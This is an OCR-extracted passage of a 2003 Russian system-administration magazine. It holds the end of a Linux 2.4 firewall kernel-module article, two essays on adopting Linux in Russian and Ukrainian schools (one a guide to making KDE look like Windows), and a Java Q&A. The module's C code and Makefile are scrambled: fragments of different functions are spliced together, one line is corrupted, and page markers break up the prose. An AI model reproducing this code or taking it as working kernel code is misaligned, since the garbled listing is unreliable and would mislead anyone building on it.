Снятие регистрации устройстваСнятие регистрации выполняет функция cleanup_module:

Проверяем, использует кто-нибудь наш модуль илинет:

Устанавливаем заглушку – разрешаем прохождениепакетов в систему:

Снимаем регистрацию:

MakefileДля получения загружаемого модуля создадим Makefileследующего содержания:

Назаначение флагов:! O2 - включить оптимизацию;! Wall – выводить на экран все предупреждения о воз-

можных ошибках (warning all);! fomit-frame-pointer – не сохранять указатель на кадр

(frame pointer) в регистре для функций, которые не нуж-даются в этом. Это позволяет избежать инструкций насохранение, определение и восстановление указате-ля на кадр (frame pointer), в то же время освобождаярегистры для других функций.

Содержание файла make.options:

Компиляция и загрузка модуляДля компиляции достаточно ввести команду make. В те-кущем каталоге появится файл sf_device.o. Загрузка мо-дуля осуществляется командой insmod:

Удаление модуля из памяти выполняет команда rmmod:

Если у вас появятся вопросы по данной части стать –задавайте их на форуме журнала.

Приведенный код был разработан и протестированGNU/Linux, дистрибутив Slackware 7.1, ядро 2.4.17, ком-пилятор gcc-2.95.2.

sf_entry_log->addr = ip->saddr;

if (ip->saddr == iph->saddr) {sf_entry_log->action = SF_RC_BLOCK;sf_entry_log->ready = 1;return SF_RC_BLOCK;

}

static int close_firewall(struct inode *inode, struct file*file)

{

sf_fw_enabled�;

sf_fw_chk = sf_fw_chk_block;

kfree(sf_entry_log);kfree(iph);

MOD_DEC_USE_COUNT;return 0;

}

void cleanup_module(void){

if(MOD_IN_USE){

printk("firewall: busy - remove delayed\n");return;

}

sf_entry_log->ready = 1;sf_entry_log->action = SF_RC_ACCEPT;return SF_RC_ACCEPT;

}

sf_fw_chk = sf_fw_chk_pass;

unregister_chrdev(FIREWALL_MAJOR,"firewall");return;

}

include make.options

# КомпиляторCC = gcc

# Имя модуляmodule = sf_device.o

# Флаги компиляции

CFLAGS = -O2 -Wall -fomit-frame-pointerMODFLAGS = -D__KERNEL__ -DMODULE -I$(LINUX)/includesf_device.o: sf_device.c$(CC) -c $(CFLAGS) $(MODFLAGS) sf_device.c

insmod sf_device.o

rmmod sf_device

# Каталог с исходниками ядраLINUX = /usr/src/linux

Page 89: 002 Системный Администратор 01 2003

ОБРАЗОВАНИЕ

Page 90: 002 Системный Администратор 01 2003

88

образование

ПИНГВИН ИДЕТВ ШКОЛУ

СЕРГЕЙ ГОЛУБЕВ

Уже давно никого не удивляет нали-чие неких препаратов, которые оченьактивно рекламируются по телевиде-нию в качестве лекарства «от всего».Причем в качестве побочного эффек-та они приводят либо к потере избы-точного веса, либо к появлению не-достающих ферментов, либо еще кчему-нибудь очень нужному и хороше-му. И я не думаю, что вера в чудодей-ственные препараты отличает толькобывших советских граждан. Простотак устроен человек: ему намного при-ятнее думать, что существует какое-то одно средство от многих проблем,чем постоянно убеждаться в том, чтодля решения даже одной проблемы нехватает и доброго десятка средств. Ичто характерно, чудодейственные ре-цепты совершенно отсутствуют в томже ракетостроении или той же кван-товой механике. Если не брать в рас-чет политику, то панацеи от всех беднаиболее распространены в здраво-охранении и образовании. Об одной

из таких панацей и пойдет речь.О бедственном положении и всей

системы российского школьного об-разования вообще, и каждого отдель-но взятого предмета в частности неписал в последнее время только оченьленивый. А когда речь заходит протакую дисциплину как информатика,то практически каждый гражданиннашей страны, который причисляетсебя по меньшей мере к продвинутымпользователям, считает чуть ли несвоим долгом высказать свое отноше-ние «ко всему этому безобразию». Ачтобы при такой ситуации и не по-явился очередной «вьетнамский баль-зам» – дело практически нереальное.И он, разумеется, появился. Называ-ется этот бальзам GNU/Linux и имен-но с этой операционной системой свя-зывает будущее российской инфор-матики вся прогрессивная компьютер-ная общественность. И как это поло-жено в подобных случаях, в дискус-сии принимают участие исключитель-

но либо сторонники, либо противни-ки этого метода лечения, которым ужене до больного, мнение которого осо-бо никого и не интересует. По всей ви-димости, объективно рассуждать обэтой проблеме очень тяжело, да наэто никто и не претендует, однако сле-дует признать, что все намного слож-нее, чем это может показаться в по-лемическом задоре.

Сторонники свободного софтаприводят в качестве примера Мекси-ку, правительство которой уже пред-принимает определенные усилия вправильном направлении, а противни-ки открытых исходников аппелируютк тому же Мексиканскому опыту, ко-торый даже самый законченный оп-тимист вряд ли назовет успешным. Иу нас наряду с МГИУ, где Linux явля-ется основной операционной систе-мой, существует огромное количествоуниверситетов и академий, в которыхесли и слышали про свободный UNIX,то особого внимания этому не прида-

Page 91: 002 Системный Администратор 01 2003

89№1(2), январь 2003

образование

ли. Что же тогда говорить про обык-новенные школы, пусть даже и торже-ственно переименованные в гимназиии лицеи?

Однако факт остается фактом –теоретически образовательные уч-реждения могут очень сильно выиг-рать, если будет принято положитель-ное решение в отношении переводасистемы образования на свободныйсофт. Но, как известно, от теории допрактики не так уж и близко. И мно-гое из того, что очевидно теоретику,бывает просто неприемлемым с точ-ки зрения практика.

Теоретическоезаключение № 1(нравственно-юридическое)Следует признать сразу и без обсуж-дения, что школа должна всегда и вовсем поступать честно, в полном со-ответствии с общественной моральюи законами государства. Нарушить тоили другое можно либо по незнанию,либо намеренно. Причем оба эти ва-рианта в случае школы очень плохие,поскольку публичное и бескорыстноенарушение закона представляет, посути, проявление высшей степени не-лояльности к государству, что непри-емлемо для государственной органи-зации, которой и является школа, анекомпетентность работника образо-вания наводит на мысли о том, чтоперед тем как учить других, было бынеплохо подучиться самому. И рассчи-тывать на то, что выпускник образо-вательного учреждения, в котором от-сутствует уважение к чужому авторс-кому праву, по каким-то причинамбудет это самое право уважать – поменьшей мере, наивно. Скорее все-го, он даже прибегнет к экстраполя-ции и распространит свое отношениек этому закону на все остальные, и отом, что получится в результате тако-го «образования», лучше даже и неговорить.

Разумеется, публичная лицензияGPL является точно такой же лицен-зией, как и все остальные, и ее тожеможно нарушить по вышеуказаннымпричинам, но все-таки использованиепрограмм, которые написаны под этойлицензией имеет ряд преимуществдля системы образования. Основноедостоинство этой лицензии состоит в

том, что образовательное учрежде-ние практически не имеет шансов еенарушить. То есть нет у школы такихзадач, при выполнении которых суще-ствует опасность хоть на дюйм отсту-пить от духа и буквы этой лицензии.

В этом месте следует сделать не-большое отступление и попытатьсяразвеять очень популярный в настоя-щее время миф о том, что любой ко-нечный пользователь, купивший пи-ратский диск, формально никаких за-конов не нарушает, поскольку личноон никаких защит не ломал и, в край-нем случае, является просто добро-совестно заблуждающейся стороной,которого обманул нечестный прода-вец. Безусловно, дело обстоит имен-но так в случае домашнего использо-вания, и домашний пользователь име-ет полное право даже подать на про-давца в суд, если вдруг его благопри-обретенный за 70 рублей Windows XPоткажется воспринимать очереднойсервис-пак по причине своего плебей-ского происхождения. Более того, вроссийской судебной практике ужеслучались подобные истории, в чемчитатель может убедиться, если по-смотрит материалы, которые нахо-дятся на www.treasury.ru/~vampiro/hohma.html.

Однако использование чего бы то нибыло (в том числе и программного обес-печения, разумеется) для обучения дру-гих представляет из себя самое что нина есть коммерческое употреблениепродукта со всеми вытекающими отсю-да последствиями. И все доводы о том,что некоторой организации для осуще-ствления своей деятельности не хвата-ет средств, хороши только для публи-циста, а с точки зрения закона эти оп-равдания просто смешны.

Итак, нарушить лицензию можнолибо в процессе покупки программ-ного продукта, предназначенного длякоммерческого использования, либов процессе этого самого использова-ния. И дистрибутив системы Linuxпредставляет из себя просто идеаль-ный продукт с точки зрения закона.Возможно, что и существуют какие-то способы незаконного приобрете-ния дистрибутива, но ничего, кромебанальной кражи компакт-диска, наум не приходит. Более того, даже вэтом случае вопрос о законном ис-пользовании системы является как

минимум спорным. С использовани-ем все несколько сложнее. Несмотряна известный либерализм, GPL явля-ется очень жесткой лицензией, кото-рая накладывает существенные огра-ничения на использование свободныхпрограмм. Например, владелец дист-рибутива не имеет права продаватьего на каких-либо условиях, которыеотличаются от тех, на которых он при-обрел его сам (речь идет разумеетсяне о цене, цену можно назначать лю-бую – был бы покупатель согласен).Нельзя также использовать исходныетексты свободных программ для со-здания программ с недоступным по-купателю кодом. Но, поскольку шко-ла вряд ли будет заниматься торгов-лей дистрибутивами или разработкойприкладного ПО, вполне можно счи-тать, что с дистрибутивом системыLinux школа может делать все, чтоугодно.

Итак, рассмотрение первого тео-ретического заключения принеслосистеме Linux большой толстый плюс.

Теоретическоезаключение № 2(обывательско-потребительское)Как-то в начале прошлого года при-шлось мне выполнять просьбу одно-го приятеля. Ему понадобился дист-рибутив системы Windows 98 в коро-бочном исполнении, то есть именнотакой, какой и должна использоватьшкола. Менеджеры тех фирм, в кото-рые я обращался, охотно рассказыва-ли про то, что в связи с решениемнашего западного соседа о наведениипорядка в сфере программного обес-печения представители украинскихкомпаний скупили практически все,что было, на месяц вперед. Так чтоочередной благородный порыв мое-го приятеля так и остался нереализо-ванным, поскольку за этот самый ме-сяц благополучно сошел на нет.

При использовании системы Linuxтаких проблем не может возникнутьв принципе, поскольку дистрибутивможно получать самыми разнообраз-ными способами, начиная от скачива-ния из Интернета и заканчивая пере-писыванием у приятеля. Таким обра-зом, проблема состоит в том, чтобынайти в доступном пространстве хотябы одного «линуксоида». Разумеется,

Page 92: 002 Системный Администратор 01 2003

90

образование

это имеет значение только в том слу-чае, если переход на Linux обуслов-лен только энтузиазмом отдельно взя-той школы. При централизованномподходе все представляется еще бо-лее простым. Поскольку в России ужеуспешно работают две фирмы, кото-рые выпускают собственные дистри-бутивы системы Linux, то они вполнев состоянии выполнить заказ (илипросьбу) соответствующего департа-мента и собрать дистрибутив, оптими-зированный специально для образо-вательных целей. Причем, условиялицензии GPL таковы, что тиражиро-вание этого дистрибутива вполне мо-жет осуществляться и на местах. Пи-шущий привод в настоящее времяуже не является чрезмерно дорогимудовольствием и имеется во многихшколах.

Таким образом, даже поверхност-ный анализ второго теоретическогозаключения приносит свободному со-фту второй плюс.

Теоретическоезаключение № 3(финансово-экономическое)Это заключение является, на первыйвзгляд, самым простым и оказывает-ся самым запутанным после даже не-больших размышлений. Казалось бы,что тут говорить, ведь даже самыероскошные коробочные многодиско-вые дистрибутивы от ASPLinux иALTLinux, которые содержат прекрас-ную бумажную документацию и вклю-чают в себя превеликое множествоприкладных программ продаются засумму меньшую чем одна только «го-лая» система Windows 98. Причем всечто там находится, можно неограни-ченно тиражировать и довести сто-имость системы до величины, близ-кой к нулю. Речь идет не только о ядресистемы, но и о всех прикладных про-граммах, которые только можно себевообразить.

Однако именно соображения фи-нансового характера и являются глав-ным препятствием широкому внедре-нию системы Linux в образовательнуюсферу. Все дело в том, что если уста-новка Windows, как правило, прохо-дит достаточно быстро и без особыхосложнений (я прекрасно понимаювсю спорность этого утверждения, но

прошу иметь в виду, что речь в дан-ном случае идет об обычном школь-ном компьютере), то грамотная уста-новка системы Linux пока еще явля-ется исключительно штучным това-ром ручной работы. Во избежаниеправедного гнева знатоков современ-ных дистрибутивов хочу заметить, чтовсе эти дистрибутивы требуют боль-ших системных ресурсов и большогодискового пространства, которое на50% будет забито тем, что любительDebian не переносит на жесткий дискизначально. Таким образом, действи-тельно существуют машины, на кото-рые Linux устанавливается даже про-ще чем Windows, но существуют идругие машины и, как назло, в шко-лах намного больше этих самых дру-гих.

Все умные рассуждения на темуэкономии при использовании свобод-ного софта опираются на то, что же-лезо подбирается специально поднего. В этом случае экономия дей-ствительно получается впечатляю-щей, но проблема состоит в том, чтоменять весь машинный парк большин-ство школ просто не в состоянии ивынуждена исходить из того, что, какговорится, исторически сложилось.

Самое главное, что стандартногопути для решения этой проблемы нет.В тех населенных пунктах, где суще-ствует активно работающая LinuxUser Group, проблема в принципе ре-шаема, поскольку какое-то свободноевремя у членов этой группы есть и онив состоянии помочь школе установитьвесь необходимый софт. Аналогичноерешение можно применить и при на-личии достаточного количества роди-телей-программистов. Существуетеще какая-то надежда на то, что этуработу в состоянии выполнить сампреподаватель информатики, но, какправило, он не имеет просто физичес-кой возможности делать что-то поми-мо ведения уроков, а в сутках всего24 часа.

Так что для большинства школ ус-тановка системы Linux будет связанас расходами. И при ближайшем рас-смотрении выясняется, что эти расхо-ды не такие уж и маленькие. Впрочем,расходы эти несколько иного рода. Повсей видимости, самый лучший выходв данном случае заключается в цент-рализованной организации сети спе-

циальных курсов для преподавателейинформатики. А это уже дорогое удо-вольствие. Однако положительныммоментом этих расходов является то,что полученная в процессе учебы ин-формация позволит преподавателямпередавать ученикам больше знаний.Но считать, что переход системы об-разования на свободный софт не бу-дет стоить ни копейки, нельзя.

Получается, что третье заключе-ние не такое оптимистичное и оченьбольшого плюса системе Linux не при-носит.

Теоретическоезаключение № 4(заботливо-участливое)Существует один умозрительный до-вод, который используют для доказа-тельства своей правоты как против-ники, так и сторонники «пингвиниза-ции» российского образования. Зак-лючается он в востребованности кон-кретных знаний и умений. Дескать,если практически везде требуются со-трудники, которые знают «Ворд-Ек-сель», то именно этому и надо учить.Сомнительность этого утверждениямы обсудим несколько позже, а в этомразделе имеет смысл проанализиро-вать его истинность.

Если верить сторонникам препода-вания информатики на основе про-приетарного софта, то получается,что систему Windows используютпрактически все российские предпри-ятия, за исключением может быть спе-циализированных фирм вроде про-вайдерских. На первый взгляд это ут-верждение неопровержимо, достаточ-но только посмотреть на объявленияв газетах. Но это только на первыйвзгляд. При более тщательном рас-смотрении выясняется, что это утвер-ждение если и не выполняется с точ-ностью до наоборот, то сильно к томустремится.

На самом деле, апологетыWindows-ориентированной информа-тики забывают про одно слово, безкоторого любое социологическое ис-следование в области программногообеспечения представляет интересисключительно для компетентных ор-ганов, но не для образовательных уч-реждений. Это слово – легально. Лич-но я сильно сомневаюсь в том, чтоколичество предприятий, легально

Page 93: 002 Системный Администратор 01 2003

91№1(2), январь 2003

образование

использующих систему Windows ра-дикально больше числа фирм, кото-рые выбрали Linux в качестве корпо-ративной платформы. И не нужнобыть семи пядей во лбу, чтобы сде-лать вывод о том, что нынешнее по-ложение вещей прямо способствуетподготовке кадров для серой эконо-мики.

Более того, напрочь забыто то,что у сегодняшних школьников естьнекоторый резерв времени до нача-ла трудовой деятельности. Поэтомуследует учитывать не статичное со-стояние рынка программного обеспе-чения, а процесс в динамике. Уже насегодняшний день существуют и ус-пешно внедряются даже полнофунк-циональные офисные решения набазе системы Linux. Не так давнопоявилось совместное заявлениекомпаний 1С и ASPLinux о том, чтоначата работа по переносу самойраспространенной бухгалтерскойпрограммы на систему Linux и ужеесть некоторые практические дости-жения в этой области. А бухгалтерс-кая система Hansa уже давно и ус-пешно завоевывает позиции на рос-сийском рынке. Дело осталось занемногим и, как только государствозаймет достаточно бескомпромисс-ную позицию по отношению к расхи-тителям интеллектуальной собствен-ности, ситуация может стать и вовсеадекватной.

Худо-бедно, это заключение еслии не принесло плюса свободному со-фту, то избавило его от пусть сомни-тельного, но минуса.

Теоретическоезаключение № 5(учебно-методическое)Вот и добрались мы до самого глав-ного. Действительно, система можетбыть и простой, и бесплатной, и ка-кой угодно замечательной, но еслиона непригодна для обучения, то этотминус перекрывает все плюсы. Сле-дует честно признать, что этот мо-мент является пока самым слабымместом системы Linux. Причина про-ста – очень мало учебников, в кото-рых Linux рассматривается в каче-стве просто «одной из операционныхсистем». И это неспроста.

Школьный предмет «информати-ка» отличается от других точных

наук, изучаемых в школе, преждевсего тем, что на нем практически неощутим задел советской школы, по-скольку на этот самый задел простоне хватило времени. И если препо-даватели физики, химии и матема-тики еще долго смогут питаться тем,что называется традициями и не мо-жет исчезнуть за несколько лет, топреподаватель информатики такойвозможности лишен. Отсюда и про-исходит неопределенность в толкова-нии самого предмета, отсутствие чет-ких требований и программ. Впро-чем, это тема совсем другой статьисовсем в другом издании.

Но некоторых моментов препода-вания информатики придется кос-нуться хотя бы для того, чтобы пра-вильно понимать то, что будет напи-сано далее. По сути дела, отсут-ствие школы преподавания инфор-матики в широком смысле этого сло-ва привело к тому, что предмет раз-двоился. Некоторые преподавателизанимаются с учениками чистымпрограммированием, что в общем исоответствует изначальному пред-назначению предмета, но имеет ме-сто и методика «компьютерного лик-беза», которая и сводится к освое-нию текстового редактора Word, ра-боте в электронных таблицах Excelи созданию презентаций. Есть лисмысл в такой науке? Скорее всего,нет. Имеет ли смысл занимать нишу,которая должна принадлежать ком-мерческим курсам по освоению кон-кретных программ? Вероятнее все-го, тоже нет. Каковы причины пре-вращения уроков информатики вбесплатную рекламу продукции од-ной известной фирмы? Пожалуй, чтоответ на этот вопрос может (или дол-жна) дать только некая государ-ственная служба с трехбуквеннымназванием.

Но даже если считать, что лик-безный стиль обучения имеет пол-ное право на существование можнос полной уверенностью утверждатьо возможности полной замены про-приетарных программ на свободныедля организации полноценного учеб-ного процесса. Офисные технологиивполне можно изучать и на примересвободного пакета Open Office, дляработы с графикой должно хватитьграфического редактора Gimp, а ос-

воить приемы навигации в Интерне-те поможет Mozilla.

Для изучения же непосредственнопрограммирования Linux пригоден навсе сто. Более того, даже не придетсяменять какие бы то ни было методики.Просто связка из DOS и Turbo Pascalзаменяется на Linux и Free PascalCompiler. Подробнее почитать про этотпродукт можно на fpc.by.ru. Еще одноиз достоинств этой программы состо-ит в том, что использовать ее можнопрактически на любой платформе, чтооблегчает работу по миграции. Дляначала можно работать со СвободнымПаскалем в системе DOS, а переходна Linux проводить постепенно.

Кстати, учебники для тех, кто выб-рал Linux в качестве базовой платфор-мы уже существуют и подготовленыколлективом МГИУ, который уже дав-но использует систему Linux для обу-чения студентов. Полную информациюоб этом учебнике можно почитать наwww.ctc.msiu.ru/materials/books.php.

Таким образом и последнее испы-тание Linux выдержал с успехом, по-лучив хороший плюс.

Просто заключениеК счастью, ситуация такова, что мно-гие школы используют компьютеры нетолько на уроках информатики. Суще-ствует довольно много хороших учеб-ных программ для изучения физики,математики, химии и прочих предме-тов. И до недавнего времени такихпрограмм под Linux просто не было.Однако ситуация и тут начинает ме-няться. Компания «Физикон», котораяявляется одним из ведущих произво-дителей качественного учебного со-фта уже заявила о своем намерениивыпустить локальную версию ресур-са «Открытый колледж», которуюможно будет использовать в школь-ных и городских сетях и которая ра-ботает на сервере под управлениемсистемы Linux.

Конечно, перевод всей системыобразования на свободную платфор-му – очень непростая задача при вы-полнении которой встретится многоподводных камней. Но начинать надоуже сейчас, поскольку времени на еерешение осталось не так и много.Надо спешить, пока то что еще счи-тается отклонением от нормы не пре-вратилось в норму.

Page 94: 002 Системный Администратор 01 2003

92

образование

ДОСТУПНЫЙLINUXВ КАЖДУЮШКОЛУ! ВИКТОР МЕЛЬНИКОВ

АНДРЕЙ ШЕВЧЕНКО

Что может быть проще чем пере-делка интерфейса? Для Открытых Си-стем в этом плане нет никаких огра-ничений. Для того чтобы немногопрояснить ситуацию с вопросом «азачем это делать?», проведем экс-курс в законотворчество и юриспру-денцию.

На Украине сейчас идет довольномассовое лицензирование использу-емого программного обеспечения(ПО), как правило представленногоединственной компанией (не будемскрывать – монополистом пока что)

Microsoft. Связано это с принятиемСтатьи 176 Уголовного кодекса Укра-ины «Нарушение авторского права исмежных прав», которая за исполь-зование (именно) пиратских про-грамм грозит вам штрафом от 400 до1000 не облагаемых налогом мини-мальных доходов либо тюрьмой додвух лет с изъятием техники до суда.

К сожалению, монополизациирынка ПО способствуют чиновники,в том числе и в образовании. Напри-мер, вся программа по информатикенаписана с учетом только одного

комплекса ПО, которое представле-но... конечно же Microsoft. А ведь об-разование – это не та сфера деятель-ности, где выбирают инструмент позадаче, здесь скорее выбирают дос-тупный инструмент! И огромное пре-имущество, если этот инструментможно «просмотреть» как на рентге-не. В итоге, там где можно было быкупить два компьютерных класса, го-сударство покупает один (теряя толь-ко в одной школе до 10 000 $).

Ко всему вышесказанному ещехочется обратить внимание на очень

Page 95: 002 Системный Администратор 01 2003

образование

93№1(2), январь 2003

интересный проект нового законанародного депутата УкраиныОлейника Б. И. «Об использовании От-крытых форматов и Свободного про-граммного обеспечения в государствен-ных учреждениях и государственномсекторе хозяйства», особенно раздел,посвященный образованию, где указы-вается, что «учреждения образованиягосударственного сектора должны в лю-бом случае использовать в учебномпроцессе открытые стандарты и ПО»,однако там ни слова о корне зла – про-грамме, которую именно вы должны об-новить. А дел тут всего-то – заменитьслова Windows, Word, Excel и Access наОперационная Система (ОС), тексто-вый редактор, электронные таблицы ибазы данных, да и нам проще будет безамериканизмов. Тем более что россий-ская фирма ASPLinux распространяетОС ASPLinux 7.3 со всем этим богат-ством абсолютно свободно, да ещедают «на попробовать» всем, выставивдистрибутив в Интернете на FTP-сер-вере компании (ftp://ftp.asplinux.ru).

Вот и встает насущный вопрос пе-ред большинством учителей: можно ли,не выходя за рамки, навязанные чинов-никами, выполнить их требования и ква-лифицированно обучить детей?

Сейчас, к великому огорчениюпользователей, работающих наWindows, производимые дистрибутивыLinux не рассчитаны на них, так как покачто не имеют интерфейса, близкого ктому, с которым они привыкли рабо-тать. Как правило, имеется три вида ус-тановки: стандартная, офисная и сер-верная. Далее пользователь должен до-делать все сам. Отсюда напрашивает-ся вывод, что стоит чуть-чуть изменитьустановку в плане приближения интер-фейса к Windows-подобному, и пользо-вателей Linux станет в сотни раз боль-ше: достаточно добавить в дистрибутивеще один тип установки «под Windows»1

и дело в шляпе.Поэтому ниже мы опишем шаги,

которые необходимо выполнить дляизменения настроек «по умолчанию» внастройки «под Windows», причем пос-ледние будут еще при всем лицензион-но чистыми. Практически такие на-стройки вместе с открытой ОС Linuxуже в течение более полутора лет при-меняются в трех государственных об-щеобразовательных школах города Се-вастополя.

Программы и «железо»С чего начать: какой дистрибутивLinux использовать? За полторагода работы мы использовали все,что могли купить: ASPLinux, Red Hat,Mandrake и Junior разнообразныхверсий. Но поверьте, что лучше все-го в плане «перестройки» подошелдистрибутив ASPLinux 7.3. Создате-лей этого дистрибутива можно уп-рекнуть в некотором консерватизме(уж больно скучна стандартная ин-сталляция), да видно они хорошо по-работали над качеством.

Какое использовать «железо»?Тут два пути: либо связываться спроизводителями ASPLinux и про-сить их совершить магическое чудо:превратить старый класс из 486 ма-шин в современный без покупки но-вой начинки – они могут создать си-стему графических терминалов с од-ним сервером. Замечу только, чтоучителя, которые имели «счастье»работать в аналогичной системе подWindows, начнут нервно дергаться ипримут решение ждать манны не-бесной. Поэтому для их успокоенияотмечу, что здесь UNIX-системыимеют огромное преимущество пе-ред Windows и это будет исключи-тельно надежная система, что дастшанс дождаться получения техникив очень комфортных условиях приминимуме затрат. Ну а если у васесть компьютеры с примерной кон-фигурацией типа: 433МГц процес-сор, 128Мб RAM и 3Гб HDD (как ми-нимум), то я расскажу что делать,чтобы после загрузки компьютерапользователь Windows находился впривычной среде с обычным интер-фейсом и правилами работы.

Как установить Linux и чтоделать послеВыберите установку «под офис» и незабудьте отметить отдельно все игрыи обучающие программы. Далее не-обходимо будет ввести пароль супер-пользователя (администратора) сименем «root» и создать простогопользователя (давайте создадимпользователя с именем «w» без па-роля). Общий объем, занимаемый нажестком диске, будет около 1.8 Гб.

После первого запуска необходи-мо удалить стандартный gnomedisplay manager (GDM), так как он, в

отличие от kde display manager(KDM), больше соответствует стан-дартному окну logon в ОС Windows2000. Для этого проделываются про-стые действия:! нажмите на комбинацию клавиш

Ctrl+Alt+F1, войдите под пользо-вателем root (введите имяпользователся root и его пароль);

! в командной строке наберитеrpm –e gdm;

! введите команду killall gdm.

Затем display manager перезагру-зится и вы, введя имя пользователяw, на месте пароля нажмете enter иначнется вход в систему ASPLinux ссоответствующей заставкой.

Именно с заставки мы и начнем,так как известно, что пользовательWindows на редкость пуглив и, уви-дев мельтешение фишек под синимрекламным квадратом ASPLinux, мо-жет войти в состояние ступора. По-этому зайдем в консоль (используяCtrl+Alt+F1, как уже отмечалосьвыше) и вызовем из командной стро-ки mc (midnight commander являетсяразновидностью norton commanderили far). В папке /USR/SHARE/APPS/KSPLASH/PICS и ее подкаталогеLOCOLOR вы должны удалить всефайлы, кроме slash_top.png, после-дний нужно заменить аналогичным,но c облачками размером, согласо-ванным с размером экрана. Тогдапри последующей загрузке kde по-явится столь привычное небо.

Далее, Linux как довольно защи-щенная ОС всюду ждет подвоха ивсегда спрашивает при загрузке имяпользователя и пароль, но скажитена милость, зачем все это учителюинформатики в обычной школе? По-сему исправим и это: зайдем в меню«Пуск» (кнопка «k» в левом нижнемуглу экрана – аналог пуска) и найдемпункт «настройки/система/менеджервхода в систему» и отметим «птич-ками» все пункты. Далее, не нажи-мая на кнопку «ok», зайдем в пункт«фон/обои» и через обзор найдемфайл splash_top.png (облака), отме-тив, что нужно изменять их размер.И все, «ок».

Теперь, выйдя из системы и зай-дя в нее снова, вы с изумлением уви-дите, что загрузка пошла как обыч-но для пользователя Windows.

Page 96: 002 Системный Администратор 01 2003

94

образование

Что делатьна рабочем столе?Итак, как изменить «священный» об-лик Linux, поставив задачу изменитьего так, чтобы пользователь Windowsне заметил никакой разницы? Пой-дем по пунктам.

Изменение кнопки «Пуск»Первым делом обратим внимание напанель задач, заваленную значками, икоторые мы первыми и удалим. Затемизменим размер панели на маленькийс режимом увеличения пиктограмм иобратим внимание на кнопку «K», ко-торая исполняет роль кнопки «Пуск».Файл, который за нее отвечает, лежитв папке /usr/share/icons/Crystal/32x32/apps/kmenu.png. Далее откройте про-грамму Gimp, вызовите этот файл, уда-лите его содержимое и нарисуйтекнопку «Пуск»2. Затем сохраните еев папке «/hоmе/w» с таким же именем(kmenu.png), а затем под консолью (отсуперпользователя) перезапишите еена старое место. Эта кнопка будет по-являться только при приближениикурсора к месту кнопки «Пуск». В про-тивном случае мелкая кнопка «K» бу-дет мозолить глаза. Поэтому, если нелень, имеет смысл найти и перерисо-вать с помощью Gimp файл /usr/share/apps/Crystal/16x16/apps/kmenu.png, тоесть вставить любой символ, кроме«форточки».

Изменение меню кнопки«Пуск»Это самая сложная операция, требу-ющая особой деликатности: дело втом, что в меню ASPLinux 7.3 встав-лено два одинаковых по структуременю от графических оболочек gnomeи KDE, которые находятся в стандар-тной поставке. Посему сначала по-смотрим на картинку – цель и как еедостичь объясним ниже.

Итак, перед нами комплексноеменю ASPLinux 7.3: в нем есть пункт«программы» – это и есть вотчинаgnome. Помните, что из этого пунктаничего нельзя переносить, но вноситьможно, при этом особое внимание об-ратите на пункты с одним и тем же на-званием: их ни в коем случае нельзяставить рядом.

Первое, что создадим внутри «про-грамм» – папку «стандартные», в неепереместим офис, редакторы (блокно-

ты), abiword (аналог wordpad), органай-зер, калькулятор, адресную книгу,karm, knotes, kjots, домой (сразу пере-именуйте его в «проводник») и скопи-руем туда пару карточных игр и сапе-ра (kmines).

Далее начните перетаскивать всепрочие папки внутрь папки «програм-мы», за исключением «поиска фай-лов», «справки», «настройки» («центруправления» перетаскивать нельзя –скройте), еще раз обращаем вниманиена то, что одноименные папки kde выдолжны вставлять как подменю, либоих потеряете.

«Рабочий стол»

«Мой компьютер»При первой загрузке kde вы должнынастроить рабочий стол в стилеWindows, далее необходимо уничто-жить все ярлыки, кроме «корзины»,к слову, «корзина» в оформленииKDE – явный прокол: черный слизис-тый бак, который никак не вяжется свеликолепием оформления новогоkde 3.0.2. Мы, к примеру, его тут жепоменяли на собственные картинки3

в стиле XP: для этого отредактируйтес помощью gimp файлы trashcan_empty.png и trashcan_full. png изпапки /usr/share/icons/crystal/32x32/filesystems так, как вам угодно, и пос-ле сохранения в домашний каталогперенесите измененные файлы об-ратно.

Далее зайдите в пункт «настрой-ки/периферия/мышь» и настройтемышь на двойной щелчок (иначе каж-дый ученик сможет запустить по стоодинаковых приложений).

Теперь создадим папку «мой ком-пьютер»4 с соответствующим ярлы-ком, в ней создаем псевдодиск в видепапки «диск с», заодно перенесемтуда ссылки на «диск 3,5 a», «cd rom»и «панель управления», которую со-здаем перетаскиванием из менюкнопки «пуск» – раздела «настройки»(то, что нужно, переименовываем) идля удобства вставляем «управлениепринтером» и «сетевое окружение»(при наличии связи с сервером), по-нятно, что и фон нужно создать соот-ветствующий.

Зайдя в папку «диск с», создаемпапки с любым содержанием, вклю-чая папку «мои документы».

«Проводник»Точно также создаем папку «провод-ник», в которую копируем в видессылок все содержимое папки «мойкомпьютер», но при этом настроими сохраним вертикально расположе-ние папок, при этом в папке «вид/показывать» аккуратно уберем вселишнее.

ОфисНепременно настройте OpenOff ice.org под привычный дляпользователей Windows вид. Дляэтого нажмите правой кнопкоймыши на верхнем меню, кроме того,через пункт «сервис/параметры» на-стройте путь сохранения в папку«мои документы».

ЗаключениеВозможно, описание настроек не со-всем полное, ибо нельзя предусмот-реть все, но поверьте, потратив не-много времени, вы навсегда забуде-те про эти настройки. Сам процессваяния очень интересен – так что не-пременно попробуйте. Уверен, чтовскоре появится новый дистрибутивASPLinux с чем-то подобным, а кудадеваться?

1Необходимо создать три вида ин-сталляции:! для слабых машин, типа 486, с

сервером и графическими терми-налами (большинство школ име-ют этот «мусор»);

! для pentium–i с оконным менед-жером icewm и openoffice.org;

! для хороших машин (с 433МГцпроцессором и 128Мб RAM – ми-нимум).

2Обращаю ваше внимание, что всеярлыки и символы Windows лицензи-рованы, и их нельзя использовать.

3Картинки ярлыков вы либо самирисуете, либо используете большуюколлекцию KDE, либо скачиваете ссайта http://artist.kde.org.

4Боковую панель Konqueror убе-рите через пункт «окно/показать бо-ковую панель навигации», затемзайдите в пункт меню «настройка/сохранять настройки» для просмот-ра каталога и дважды «мигните» от-меткой.

Page 97: 002 Системный Администратор 01 2003

95№1(2), январь 2003

ВОПРОС:Можно ли получить внутренний адрес экземпляра

класса – хотя бы для отладочных целей или для иденти-фикации экземпляра?

ОТВЕТ:Да. С помощью метода System.identityHashCode(Object x).Возвращаемое целое число является уникальным

идентификатором экземпляра x в рамках данной Java-машины. В типичных реализациях языка Java это числосоответствует внутреннему адресу объекта в памяти (такнаписано в документации фирмы Sun). Язык Java, ко-нечно, не позволяет использовать этот адрес для «неле-гальных действий» с объектами, например для считыва-ния или модификации полей. Но его вполне можно ис-пользовать для идентификации экземпляров объектов.Например, распечатка identityHashCode позволяет в про-цессе отладки убедиться в идентичности некоторыхобъектных переменных, появляющихся в разных местахработы программы.

